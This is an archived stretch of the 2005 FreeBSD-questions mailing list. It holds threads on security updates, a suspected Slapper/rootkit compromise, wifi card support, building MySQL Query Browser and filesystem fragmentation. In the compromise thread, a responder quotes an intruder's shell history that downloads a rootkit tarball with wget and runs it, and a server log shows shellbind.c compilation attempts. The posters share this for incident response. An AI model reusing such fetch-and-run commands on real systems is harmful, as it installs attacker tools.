9 Feb 2005 17:36:58 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id BE85A43D2F for ; Wed, 9 Feb 2005 17:36:57 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0901.wanadoo.fr (SMTP Server) with ESMTP id 8AFF7200145F for ; Wed, 9 Feb 2005 18:36:56 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0901.wanadoo.fr (SMTP Server) with ESMTP id 6C62B200145A for ; Wed, 9 Feb 2005 18:36:56 +0100 (CET) X-ME-UUID: 20050209173656444.6C62B200145A@mwinf0901.wanadoo.fr Date: Wed, 9 Feb 2005 18:36:56 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1711078729.20050209183656@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420A1851.70402@daleco.biz> References: <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> <420A1851.70402@daleco.biz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:36:58 -0000 What are security updates? From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:41:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 098E916A4CE for ; Wed, 9 Feb 2005 17:41:26 +0000 (GMT) Received: from helium.webpack.hosteurope.de (helium.webpack.hosteurope.de [217.115.142.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9369043D1D for ; Wed, 9 Feb 2005 17:41:25 +0000 (GMT) (envelope-from me@hexren.net) Received: by helium.webpack.hosteurope.de running Exim 4.34 using asmtp helo=hexren.steenbuck.net) id 1Cyvq8-00059L-SD; Wed, 09 Feb 2005 18:41:25 +0100 Date: Wed, 9 Feb 2005 18:41:24 +0100 From: Hexren X-Mailer: The Bat! (v1.62i) Business X-Priority: 3 (Normal) Message-ID: <317211689.20050209184124@hexren.net> To: Anthony Atkielski Cc: freebsd-questions@freebsd.org In-Reply-To: <1711078729.20050209183656@wanadoo.fr> References: <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> <420A1851.70402@daleco.biz> <1711078729.20050209183656@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re[2]: security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Hexren List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:41:26 -0000 AA> What are security updates? AA> _______________________________________________ AA> freebsd-questions@freebsd.org mailing list AA> http://lists.freebsd.org/mailman/listinfo/freebsd-questions AA> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" --------------------------------------------- How does it sound ;) If a bug that affects security is found, an update to fix is produced. In my definition this counts as security update. Hexren From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:41:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6793B16A4D2 for ; Wed, 9 Feb 2005 17:41:43 +0000 (GMT) Received: from casbah.it.northwestern.edu (casbah.it.northwestern.edu [129.105.16.52]) by mx1.FreeBSD.org (Postfix) with ESMTP id D88A443D4C for ; Wed, 9 Feb 2005 17:41:42 +0000 (GMT) (envelope-from bret-walker@northwestern.edu) Received: (from mailnull@localhost) by casbah.it.northwestern.edu (8.12.10/8.12.10) id j19Hfgk9020412; Wed, 9 Feb 2005 11:41:42 -0600 (CST) Received: from medillbwpc (medill-bwpc.medill.northwestern.edu [129.105.51.23]) by casbah.it.northwestern.edu via smap (V2.0) id xma019386; Wed, 9 Feb 05 11:41:26 -0600 From: "Bret Walker" To: "'Oliver Leitner'" , Date: Wed, 9 Feb 2005 11:41:26 -0600 Message-ID: <042101c50ece$944bbad0$17336981@medill.northwestern.edu> X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 MIME-Version: 1.0 In-Reply-To: <20050209145353.304EC43D49@mx1.FreeBSD.org> Importance: Normal Content-Type: multipart/signed; micalg=SHA1; protocol="application/x-pkcs7-signature"; boundary="----=_NextPart_000_041D_01C50E9C.4983F940" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Subject: RE: httpd in /tmp - Sound advice sought X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:41:43 -0000 This is a multi-part message in MIME format. ------=_NextPart_000_041D_01C50E9C.4983F940 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Thanks for letting me know. I found this in the my httpd error log: [Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not exist: /usr/local/www/data/favicon.ico wget: permission denied ./httpd: not found shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast ./httpd: permission denied shellbind.c: In function `main': shellbind.c:16: warning: passing arg 2 of `memset' makes integer from pointer without a cast [Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not exist: /usr/local/www/data-dist/xyzzy [Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by system [Hint: Stop button pressed in browser?!] (System error follows) [Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer (errno: 54) I also found shellbind.c in my /tmp directory. Is there a way to tell what type of exploit was used to get these files on my system (ie OpenSSL / PHP register_globals)? I've been monitoring this server from a port that mirrors its traffic using Ethereal, and all seems to be okay now. I also cvsuped -Rr my apache+mod_ssl install. Thanks, Bret -----Original Message----- From: owner-freebsd-questions@freebsd.org [mailto:owner-freebsd-questions@freebsd.org] On Behalf Of Oliver Leitner Sent: Wednesday, February 09, 2005 8:48 AM To: Bret Walker; freebsd-questions@freebsd.org Subject: Re: httpd in /tmp - Sound advice sought i know a certain hacking group who is trying to run their trojan as httpd, i discovered that info through some shell account i am running, that has tried to start this rootkit on our machine. heres a short view from the shell's history: --------------------- wget geocities.com/setan_maya/taek.tar.gz cd .. ls cd .. ls cd tmp ls wget geocities.com/setan_maya/taek.tar.gz tar zxvf taek.tar.gz ls cd taek ./httpd chmod 755 httpd ./httpd ls cd .. rm -rf taek rm taek.tar.gz ----------------------- this clearly shows, that we have to do with a very dumb person, hence he 1. didnt cleaned his historyfile 2. left the tar.gz file in his homedir 3. loaded the rootkit from the same server he is running the group's webpage on. 4. has a link to their chan on that page, and in the chan as ive monitored for 48hrs, ive found them posting their "successes" directly and unencrypted. I have informed a number of providers and hosters, that had their webpage posted into that chan, and informed them about the breakins, so far i got no message back from them. of course, its a longshot, but they didnt seem to check first if the folder tmp has the executable bit set at all, and they named their client like the file youve found. i hope this helps you further. Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 08 February 2005 14:35, Bret Walker wrote: > Last night, I ran chkrootkit and it gave me a warning about being > infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up > to version 0.96d or older on Linux systems. I have only run 0.97d. > The file that set chkrootkit off was httpd which was located in /tmp. > /tmp is always mounted rw, noexec. > > I update my packages (which are installed via ports) any time there is > a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl > 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a > couple of weeks, but the only code that required it to be on was in a > .htaccess/SSL password protected directory. > > Tripwire didn't show anything that I noted as odd. I reexamined the > tripwire logs, which are e-mailed to an account off of the machine > immediately after completion, and I don't > see anything odd for the 3/4 days before or after the date on the file. > (I don't scan /tmp) > > I stupidly deleted the httpd file from /tmp, which was smaller than > the actual apache httpd. And I don't back up /tmp. > > The only info I can find regarding this file being in /tmp pertains to > Slapper. Could something have copied a file there? Could I have done > it by mistake at some point - the server's been up ~60 days, plenty of > time for me to forget something? > > This is production box that I very much want to keep up, so I'm > seeking some sound advice. > > Does this box need to be rebuilt? How could a file get written to > /tmp, and is it an issue since it couldn't be executed? I run > tripwire nightly, and haven't seen anything odd to the best of my > recollection. I also check ipfstat -t frequently to see if any odd > connections are happening. > > I appreciate any sound advice on this matter. > > Thanks, > Bret -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. 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Wed, 9 Feb 2005 17:48:41 +0000 (GMT) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 9FFF443D2F for ; Wed, 9 Feb 2005 17:48:40 +0000 (GMT) (envelope-from Shadow333@gmx.at) Received: (qmail invoked by alias); 09 Feb 2005 17:48:38 -0000 Received: from unknown (HELO there) (62.218.246.180) by mail.gmx.net (mp028) with SMTP; 09 Feb 2005 18:48:38 +0100 X-Authenticated: #1027147 Content-Type: text/plain; charset="iso-8859-1" From: Oliver Leitner Organization: none To: "Bret Walker" , Date: Wed, 9 Feb 2005 18:43:06 +0100 X-Mailer: KMail [version 1.3.2] References: <042101c50ece$944bbad0$17336981@medill.northwestern.edu> In-Reply-To: <042101c50ece$944bbad0$17336981@medill.northwestern.edu> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 Message-Id: <20050209174840.9FFF443D2F@mx1.FreeBSD.org> Subject: Re: httpd in /tmp - Sound advice sought X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:48:41 -0000 not from the log output you just showed, id look back further on the webserver logs, and also take a look on other running processes on your server, ps auxf ... other good tools to find installed rootkits: rkhunter (youll find that in the ports collection, at least on a 5.3) sockstat.c (easy to find via google) and have a close look into your /proc fs, in case you have a procfs mounted. also check your webserver for world writeable directories, and for cross site scripting problems, that wget was called from the webserver looks like some kind of bug in a script, that is used by a webpage, that the attacker tried to use... On Wednesday 09 February 2005 18:41, Bret Walker wrote: > Thanks for letting me know. > > I found this in the my httpd error log: > > [Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not > exist: /usr/local/www/data/favicon.ico > wget: permission denied > ./httpd: not found > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > ./httpd: permission denied > ./httpd: permission denied > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > ./httpd: permission denied > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > ./httpd: permission denied > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > [Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not > exist: /usr/local/www/data-dist/xyzzy > [Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not > exist: /usr/local/www/data-dist/xyzzy > [Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not > exist: /usr/local/www/data-dist/xyzzy > [Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not > exist: /usr/local/www/data-dist/xyzzy > [Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by > system [Hint: Stop button pressed in browser?!] (System error follows) > [Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer > (errno: 54) > > I also found shellbind.c in my /tmp directory. Is there a way to tell > what type of exploit was used to get these files on my system (ie OpenSSL > / PHP register_globals)? > > I've been monitoring this server from a port that mirrors its traffic > using Ethereal, and all seems to be okay now. I also cvsuped -Rr my > apache+mod_ssl install. > > Thanks, > Bret > > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org] On Behalf Of Oliver Leitner > Sent: Wednesday, February 09, 2005 8:48 AM > To: Bret Walker; freebsd-questions@freebsd.org > Subject: Re: httpd in /tmp - Sound advice sought > > > i know a certain hacking group who is trying to run their trojan as httpd, > i > discovered that info through some shell account i am running, that has > tried > to start this rootkit on our machine. > > heres a short view from the shell's history: > > --------------------- > wget geocities.com/setan_maya/taek.tar.gz > cd .. > ls > cd .. > ls > cd tmp > ls > wget geocities.com/setan_maya/taek.tar.gz > tar zxvf taek.tar.gz > ls > cd taek > ./httpd > chmod 755 httpd > ./httpd > ls > cd .. > rm -rf taek > rm taek.tar.gz > ----------------------- > > this clearly shows, that we have to do with a very dumb person, hence he > > 1. didnt cleaned his historyfile > 2. left the tar.gz file in his homedir > 3. loaded the rootkit from the same server he is running the group's > webpage > on. > 4. has a link to their chan on that page, and in the chan as ive monitored > > for 48hrs, ive found them posting their "successes" directly and > unencrypted. > > I have informed a number of providers and hosters, that had their webpage > posted into that chan, and informed them about the breakins, so far i got > no > message back from them. > > of course, its a longshot, but they didnt seem to check first if the > folder > tmp has the executable bit set at all, and they named their client like > the > file youve found. > > i hope this helps you further. > > Greetings > Oliver Leitner > Technical Staff > http://www.shells.at > > On Tuesday 08 February 2005 14:35, Bret Walker wrote: > > Last night, I ran chkrootkit and it gave me a warning about being > > infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up > > to version 0.96d or older on Linux systems. I have only run 0.97d. > > The file that set chkrootkit off was httpd which was located in /tmp. > > /tmp is always mounted rw, noexec. > > > > I update my packages (which are installed via ports) any time there is > > a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl > > 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a > > couple of weeks, but the only code that required it to be on was in a > > .htaccess/SSL password protected directory. > > > > Tripwire didn't show anything that I noted as odd. I reexamined the > > tripwire logs, which are e-mailed to an account off of the machine > > immediately after completion, and I don't > > see anything odd for the 3/4 days before or after the date on the file. > > (I don't scan /tmp) > > > > I stupidly deleted the httpd file from /tmp, which was smaller than > > the actual apache httpd. And I don't back up /tmp. > > > > The only info I can find regarding this file being in /tmp pertains to > > Slapper. Could something have copied a file there? Could I have done > > it by mistake at some point - the server's been up ~60 days, plenty of > > time for me to forget something? > > > > This is production box that I very much want to keep up, so I'm > > seeking some sound advice. > > > > Does this box need to be rebuilt? How could a file get written to > > /tmp, and is it an issue since it couldn't be executed? I run > > tripwire nightly, and haven't seen anything odd to the best of my > > recollection. I also check ipfstat -t frequently to see if any odd > > connections are happening. > > > > I appreciate any sound advice on this matter. > > > > Thanks, > > Bret -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. 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From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:55:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6B13B16A4CE for ; Wed, 9 Feb 2005 17:55:21 +0000 (GMT) Received: from webmail.hitv.ru (webmail.hitv.ru [217.66.16.37]) by mx1.FreeBSD.org (Postfix) with ESMTP id 998A643D31 for ; Wed, 9 Feb 2005 17:55:20 +0000 (GMT) (envelope-from errmaker@mail.ru) Received: from localhost ([217.66.19.19]) by webmail.hitv.ru (8.13.1/8.13.1) with ESMTP id j19HtHsY024064 for ; Wed, 9 Feb 2005 20:55:18 +0300 (MSK) (envelope-from errmaker@mail.ru) Date: Wed, 09 Feb 2005 20:55:11 +0300 To: freebsd-questions@freebsd.org From: Alex Content-Type: text/plain; format=flowed; delsp=yes; charset=koi8-r MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: User-Agent: Opera M2/7.54 (FreeBSD, build 751) Subject: Dlink DWL-G650+ X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: errmaker@mail.ru List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:55:21 -0000 hi ! I have some troubles on my laptop with FreeBSD 5.3: i am tryng to install wifi pcmci card Dlink AirPlus DWL-G650+ dmesg|grep cardbus0 cardbus0: on cbb0 cardbus0: Expecting link target, got 0x7e cardbus0: Resource not specified in CIS: id=10, size=2000 cardbus0: Resource not specified in CIS: id=14, size=20000 cardbus0: at device 0.0 (no driver attached) cardbus0: Expecting link target, got 0x7e cardbus0: Resource not specified in CIS: id=10, size=2000 cardbus0: Resource not specified in CIS: id=14, size=20000 dmesg | grep cbb cbb0: mem 0x80000000-0x80000fff irq 5 at device 12.0 on pci0 cardbus0: on cbb0 pccard0: <16-bit PCCard bus> on cbb0 cbb0: CardBus card activation failed %cat /usr/src/sys/i386/conf/MYLAPTOPKERN |grep ath device ath device ath_hal % in the /stand/help/HARDWARE.TXT i have found D-Link DWL-G650B but i have DWL-G650+ (is it just the same ?) what can i do ? From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:59:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CADAD16A4CE for ; Wed, 9 Feb 2005 17:59:52 +0000 (GMT) Received: from web50406.mail.yahoo.com (web50406.mail.yahoo.com [206.190.38.71]) by mx1.FreeBSD.org (Postfix) with SMTP id 4F35243D1D for ; Wed, 9 Feb 2005 17:59:52 +0000 (GMT) (envelope-from dsobiera@yahoo.com) Received: (qmail 98048 invoked by uid 60001); 9 Feb 2005 17:59:51 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=K60bHvwhwOnD+WOcIjHDI+iWlj3SlB2GwXN0B7HuRYjapSl54X3LMahLYt3GMYrrI3bH7DzHIIPG+rOotMMbjAEWfrLWdUtkn5enDYhgJg2y353YTlKGHPdfOTRXWBql++Wb1FrvVdPOraBpVbdKS5dP3vaVqmfjygcw/Lp+seQ= ; Message-ID: <20050209175951.98046.qmail@web50406.mail.yahoo.com> Received: from [149.169.117.119] by web50406.mail.yahoo.com via HTTP; Wed, 09 Feb 2005 09:59:51 PST Date: Wed, 9 Feb 2005 09:59:51 -0800 (PST) From: Damian Sobieralski To: freebsd-questions@freebsd.org In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: RE: MySQL query tool and Administrator X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:59:52 -0000 I downloaded the source from: http://dev.mysql.com/downloads/query-browser/1.1.html I extracted and it created three directories: mysql-query-browser-1.1.5/ mysql-gui-common/ mysql-query-browser/ I cd into mysql-query-broswer-1.1.5/mysql-query-browser and ran ./configure. It fails at the following: checking for mysql_config... -I/usr/local/include/mysql -O -pipe checking for mysql_config... -L/usr/local/lib/mysql -lmysqlclient -lz -lcrypt -lm checking for pkg-config... /usr/local/bin/pkg-config checking for glib-2.0 libxml-2.0 >= 2.6.2... yes checking GLIB_CFLAGS... -I/usr/local/include/glib-2.0 -I/usr/local/lib/glib-2.0/include -I/usr/local/include/libxml2 -I/usr/local/include checking GLIB_LIBS... -L/usr/local/lib -lglib-2.0 -lxml2 -lz -liconv -lm checking for libglade-2.0 gthread-2.0 libxml-2.0 >= 2.6.2 libgtkhtml-3.0 gtkmm-2.0... gnome-config: not found gnome-config: not found Package libgtkhtml-3.0 was not found in the pkg-config search path. Perhaps you should add the directory containing `libgtkhtml-3.0.pc' to the PKG_CONFIG_PATH environment variable No package 'libgtkhtml-3.0' found configure: error: Library requirements (libglade-2.0 gthread-2.0 libxml-2.0 >= 2.6.2 libgtkhtml-3.0 gtkmm-2.0) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them. Installed gnome via packages: pkg_info | grep gnome: gnome-icon-theme-1.2.3 A collection of icons for the GNOME 2 desktop gnome-themes-2.6.3 A collection of themes and icons for GNOME 2 designed for a gnomeapplets2-2.6.2.1_4 Applets components for the Gnome 2 Desktop Environment gnomeaudio2-2.0.0 Sound files for use with GNOME 2 gnomecontrolcenter2-2.6.1_3 Control center for GNOME 2 project gnomedesktop-2.6.2 Additional UI API for GNOME 2 gnomegames2-2.6.2_2 The game applications package for the Gnome 2 Desktop Envir gnomehier-1.0_19 A utility port that creates the GNOME directory tree gnomekeyring-0.2.1_1 A program that keeps passwords and other secrets gnomemag-0.10.11 GNOME screen magnifier gnomemedia2-2.6.2_6 Multimedia applications for the GNOME 2 desktop gnomemimedata-2.4.1_2 A MIME and Application database for GNOME gnomenetstatus-2.6.2.1 A GNOME applet that shows network status gnomepanel-2.6.2_1 Panel component for the GNOME 2 Desktop gnomesession-2.6.2 Session component for the GNOME 2 desktop gnomespeech-0.3.5 GNOME text-to-speech API gnomesystemmonitor-2.6.0_2 GNOME 2 system monitor program gnometerminal-2.6.1_2 Terminal component for the GNOME 2 Desktop gnomeuserdocs2-2.6.0.1 GNOME 2 users guide gnomeutils2-2.6.2_1,1 GNOME 2 support utilities gnomevfs2-2.6.2_1 GNOME Virtual File System gucharmap-gnome-1.4.1 A Unicode/ISO10646 character map and font viewer libgail-gnome-1.0.6 An implementation of the ATK interfaces for GNOME widgets libgnome-2.6.1.2 Libraries for GNOME, a GNU desktop environment libgnomecanvas-2.6.1.1 A graphics library for GNOME libgnomeprint-2.6.2 Gnome print support library libgnomeprintui-2.6.2 Gnome print support library libgnomeui-2.6.1.1 Libraries for the GNOME GUI, a GNU desktop environment This might be a simpleton-ish question but any advice where I can go from here? --- Ted Mittelstaedt wrote: > > > > -----Original Message----- > > From: owner-freebsd-questions@freebsd.org > > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Paul > Schmehl > > Sent: Thursday, February 03, 2005 2:19 PM > > To: Damian Sobieralski; freebsd-questions@freebsd.org > > Subject: Re: MySQL query tool and Administrator > > > > > > Go to /usr/ports/emulators/linux_base/ and install the linux > > emulator port. > > Then you can install the query browser. I've played with it a > > little. It > > works OK but tends to core occasionally. > > > > My God Paul, this is FreeBSD we are talking about, not Windows!!! > > Granted he will need the Gnome desktop installed since it calls for > glib-2.0 and libxml-2.0 but the source is at the URL he gave, > download > it, unzip it, untar it, cd to ~mysql-query-browser and run configure > then make and make install. > > No wonder you found it unstable. Since when does anyone run a Linux > binary of a program that has source available?!?!? > > > > Ted > > > From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:06:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8092616A4CE for ; Wed, 9 Feb 2005 18:06:22 +0000 (GMT) Received: from matrix.teledomenet.gr (dns1.teledomenet.gr [213.142.128.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id C552643D41 for ; Wed, 9 Feb 2005 18:06:20 +0000 (GMT) (envelope-from nvass@teledome.gr) Received: from [192.168.1.71] ([192.168.1.71])j19HrIqG016850; Wed, 9 Feb 2005 19:53:19 +0200 From: Nikos Vassiliadis To: freebsd-questions@freebsd.org, Nathan Kinkade Date: Wed, 9 Feb 2005 20:09:37 +0200 User-Agent: KMail/1.6.2 References: <20050209163433.GW8365@gentoo-npk.bmp.ub> <20050209171039.GD37205@xor.obsecurity.org> <20050209173057.GX8365@gentoo-npk.bmp.ub> In-Reply-To: <20050209173057.GX8365@gentoo-npk.bmp.ub> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-7" Content-Transfer-Encoding: 7bit Message-Id: <200502092009.37655.nvass@teledome.gr> Subject: Re: determine ufs2 %fragmentation on mounted filesystem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:06:22 -0000 On Wednesday 09 February 2005 19:30, Nathan Kinkade wrote: [snip] > > I had already tried dumpfs, but couldn't find any information about > actual filesystem fragmentation in the output. Erik's suggestion of > running `# fsck -t ufs2 /usr` seemed to work, though I felt a little > skittish about running it on a live filesystem. You can(must) use mksnap_ffs to take a snapshot and fsck that. Note that snapshots are meant to be read-only, so fsck -n, mount -r etc... > It found numerous > errors and auto-answered "no" for all of them, though I never specified > that it should do that. Does fsck just do this by default on a mounted > filesystem? Also, I had tried running fsck manually earlier and the > only difference between what I did and Erik's suggestion was the -t > option, which I wouldn't think should have been necessary. Shouldn't > fsck be able to determine the fs type by looking at the superblock? > > By the way, the fragmentation was as 5.1%. Quite high, and I'm > wondering how it got that way? Squid? > > Thanks, > Nathan From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:16:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7691416A4CE for ; Wed, 9 Feb 2005 18:16:20 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 29BDC43D31 for ; Wed, 9 Feb 2005 18:16:20 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 5576A1C000CD for ; Wed, 9 Feb 2005 19:16:19 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 3B13D1C0015D for ; Wed, 9 Feb 2005 19:16:19 +0100 (CET) X-ME-UUID: 20050209181619242.3B13D1C0015D@mwinf0908.wanadoo.fr Date: Wed, 9 Feb 2005 19:16:18 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1401495771.20050209191618@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <317211689.20050209184124@hexren.net> References: <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> <420A1851.70402@daleco.biz> <1711078729.20050209183656@wanadoo.fr> <317211689.20050209184124@hexren.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 18:16:20 -0000 Hexren writes: > How does it sound ;) > > If a bug that affects security is found, an update to fix is > produced. In my definition this counts as security update. Fine. So what's the connection to cron? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 18:32:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5C55616A4CE for ; Wed, 9 Feb 2005 18:32:43 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.204]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0928743D31 for ; Wed, 9 Feb 2005 18:32:43 +0000 (GMT) (envelope-from landemaine@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so1154007rne for ; Wed, 09 Feb 2005 10:32:42 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=PRuIpwPsD/ZjpLKtYNM+BfVHAPg+ffemE4E0Yo5d1S0zpMTAqhNztvTHwbh1FFz615T9+NzdbX6wZheekPJWnWBafukbNqVEFXUdYLMqzBV32782Gng1zMM4VQHsKMP44mF23dVBg6l/AvknJIbbPLMvtw+4vo3lQjnGALNkbcM= Received: by 10.38.102.15 with SMTP id z15mr150728rnb; Wed, 09 Feb 2005 10:32:42 -0800 (PST) Received: by 10.38.125.44 with HTTP; Wed, 9 Feb 2005 10:32:42 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 16:32:42 -0200 From: 